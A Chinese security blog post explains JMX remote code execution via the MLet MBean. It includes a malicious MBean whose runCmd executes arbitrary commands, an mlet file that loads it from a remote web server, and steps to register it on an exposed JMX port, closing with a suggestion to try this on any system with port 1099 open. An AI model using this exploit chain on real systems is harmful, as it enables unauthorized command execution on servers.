内容简介:前一段时间apace solr JMX因为配置不当出现远程代码执行漏洞,最近自己在看一套java系统时,发现该系统也存在JMX远程代码漏洞,于是乎就想研究下JMX这种通用型漏洞,下面我就从原理到利用对该漏洞做一个简单的梳理。JMX(Java Management Extensions,即Java管理扩展)是一个为应用程序、设备、系统等JMX是管理扩展,通过JMX我们可以监控管理我们的指定的java程序。但不是所有的java类都能被管理。只有按照特定格式编写的java类才能被jmx原理。这种特定格式机制我们称
前言:
前一段时间apace solr JMX因为配置不当出现远程代码执行漏洞,最近自己在看一套 java 系统时,发现该系统也存在JMX远程代码漏洞,于是乎就想研究下JMX这种通用型漏洞,下面我就从原理到利用对该漏洞做一个简单的梳理。
一、 JMX 服务和MBean
JMX(Java Management Extensions,即Java管理扩展)是一个为应用程序、设备、系统等 植入 管理功能的框架。JMX是一套复杂的机制,由于我们要讲的JMX远程代码漏洞和MBean相关,所以这里我们之介绍jmx和mbean相关的一些基础知识。
JMX是管理扩展,通过JMX我们可以监控管理我们的指定的java程序。但不是所有的java类都能被管理。只有按照特定格式编写的java类才能被jmx原理。这种特定格式机制我们称为Mbean。
我们先看一个简单的MBean,mbean首先需要定义一个接口,定义格式xxxMBean,
之后再定义一个实现该接口的类。
二、 MBeanServer
对于已经实现的MBean,我们怎么进行监控和管理,这里就需要MBeanServer了。我们可以将MBeanServer理解为一个mbean的仓库,需要监控的mbean都需要先注册到仓库中。向MBeanServer注册mbean有两种方式,一是本地注册,二是远程注册(远程注册就为我们执行任意代码提供了可能,后面会细讲)。
我们先看一段简单的代码,本地向mbeanserver注册mbean。
public static void main(String[] args) throwsException{
MBeanServer mBeanServer = ManagementFactory.getPlatformMBeanServer();
//向MBeanServer 注册 mbean
ObjectName helloName = new ObjectName("HelloMbean:name=Hello");
mBeanServer.registerMBean(new Hello(), helloName);
Registry registry = LocateRegistry.createRegistry(1099);
//构造 JMXServiceURL
JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://localhost:1099/jmxrmi");
JMXConnectorServer jmxConnectorServer = JMXConnectorServerFactory.newJMXConnectorServer(jmxServiceURL, null, mBeanServer);
jmxConnectorServer.start();
System.out.println("JMXConnectorServer is running");}
运行程序,使用jconsole链接127.0.0.1:1099,可以看到我们的HelloMBean,也可以执行Hello()函数。
整个过程代码实现如下:
static void JMXClient() throws Exception{ JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://localhost:1099/jmxrmi"); JMXConnector jmxConnector = JMXConnectorFactory.connect(url,null); MBeanServerConnection mBeanServerConnection = jmxConnector.getMBeanServerConnection(); ObjectName mbeanName = new ObjectName("HelloMbean:name=Hello"); //通过反射机制执行Hello中的hello()方法 mBeanServerConnection.invoke(mbeanName, "Hello", null, null); }
我们可以在代码中执行MBean中的方法。
三、 一个特殊的Mbean 之MLet
前面我们知道了mbean是什么东西,这里我们需要认识一个特殊的mbean叫MLet。
这是一个系统自带的mbean。我们简单看下其定义。
/** * Exposes the remote management interface of the MLet * MBean. */ public interface MLetMBean {
public class MLet extends java.net.URLClassLoader
implements MLetMBean, MBeanRegistration, Externalizable { private static final long serialVersionUID = 3636148327800330130L;/** * The reference to the MBean server.*/ private MBeanServer server = null;
简单理解就是,我们可以通过Mlet加载一个远程服务器上的MBean,并且没有对远程的mbean做合法性检测。
Mlet定义了一个函数getMBeanFromURL,用来加载并实例化远程的Mbean。
至于getMBeanFromURL怎么加载远程mbean,加载哪个mbean。需要mlet来规定。
上面规定了mlet的格式,下面我们简单看下几个必须字段的含义。
CODE = class
此属性指定了要获取的 MBean 的Java 类的全名,包括包名称。
ARCHIVE = “ archiveList ”
此属性是必需的,它指定了一个或多个 .jar 文件,这些文件包含要获取的MBean 使用的 MBean 或其他资源。
NAME = mbeanname
当 m-let 已注册MBean 实例时,此可选属性指定了要分配给MBean 实例的对象名称。如果mbeanname 以冒号字符(:) 开始,则对象名称的域部分是 MBean 服务器的默认域,可由 MBeanServer.getDefaultDomain() 返回。
四、 使用Melt 加载远程MBean
上一节我们简单介绍了下MLet,这节介绍下怎么加载远程的MBean
下面我们先实现一个恶意的MBean,并将其打包成JMXPayload.jar。
public interface PayloadMBean { public String runCmd(String cmd) throws IOException, InterruptedException; } public class Payload implements PayloadMBean { @Override public String runCmd(String cmd) throws IOException,InterruptedException { Runtime runtime = Runtime.getRuntime(); Process process = runtime.exec(cmd); BufferedReader stdInput = new BufferedReader(new InputStreamReader(process.getInputStream())); BufferedReader stdError = new BufferedReader(new InputStreamReader(process.getErrorStream())); String stdout_data = ""; String strtmp; while ((strtmp = stdInput.readLine()) != null) { stdout_data += strtmp + "\n"; } while ((strtmp = stdError.readLine()) != null) { stdout_data += strtmp + "\n"; } process.waitFor(); return stdout_data; } }
构造mlet文件
<mlet code=Payload archive= JMXPayload.jar name=:name=Payload></mlet>
将mlet和JMXPayload.jar放在web下同一个目录中。
先使用registerMBean向MBeanServer注册Mlet,然后使用getMBeanFromURL函数加载远程的PayloadMBean。
运行程序,使用jsonsole连接127.0.0.1:1099
五、 向远程的MBeanServer 注册mbean
前几节介绍的向MBeanServer注册mbean都是在server端完成的,那如何在client端向远程的MBeanServer注册mbean呢。
我们先实现一个默认的MBeanServer,没有向其注册我们的mbean。
本地我们可以通过MBeanServer.RegisterMBean注册mbean
远端我们可以通过MBeanServerConnection.createMBean注册mbean
客户端代码:
Jconsole查看结果如下,Mlet已经被注册:
然后通过getMBeansFromURL加载我们的恶意Mbean,执行结果如下:
然后可以通过payload执行任意代码
当然这个jsonsole执行代码这个流程可以使用代码实现,有兴趣的可以自己研究下。
六、总结
至此,JMX漏洞的整理利用流程就结束了。我们再重新梳理下过程。
首先是MBeanServer提供了一套远程注册MBean的机制,让我们能够在本地向远端注册MBean。这个问题不大,因为我们不能注册自己写的mbean,只能注册远端服务器上已经有的mbean。巧的是jdk自己就有一些mbean,其中有一个mbean叫mlet。
Mlet是实现了一个函数getMBeansFromURL(url),这个函数能够加载并实例化我们指定的远程mbean,从而导致了我们的恶意payloadMBean被加载注册到MBeanServer上,导致任意命令执行。
JMX漏洞是一个通用型漏洞,如果遇到java系统开启1099端口,或者开启jmx的都可以使用该漏洞测试一下,惊喜就在意外中。
参考:
https://www.apiref.com/java11-zh/java.management/javax/management/loading/MLet.html
https://www.anquanke.com/post/id/194126
*本文原创作者:MrCoding,本文属于FreeBuf原创奖励计划,未经许可禁止转载
以上所述就是小编给大家介绍的《JMX远程代码漏洞研究》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:- phpcms网站漏洞修复之远程代码写入缓存漏洞利用
- WinRAR 代码执行漏洞复现
- 2018开源代码安全报告:每个代码库平均包含64个漏洞
- ecshop 全系列版本网站漏洞 远程代码执行sql注入漏洞
- Thinkphp5.1 ~ 5.2 全版本代码执行漏洞代码审计
- struts2远程代码执行漏洞
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Beginning Apache Struts
Arnold Doray / Apress / 2006-02-20 / USD 44.99
Beginning Apache Struts will provide you a working knowledge of Apache Struts 1.2. This book is ideal for you Java programmers who have some JSP familiarity, but little or no prior experience with Ser......一起来看看 《Beginning Apache Struts》 这本书的介绍吧!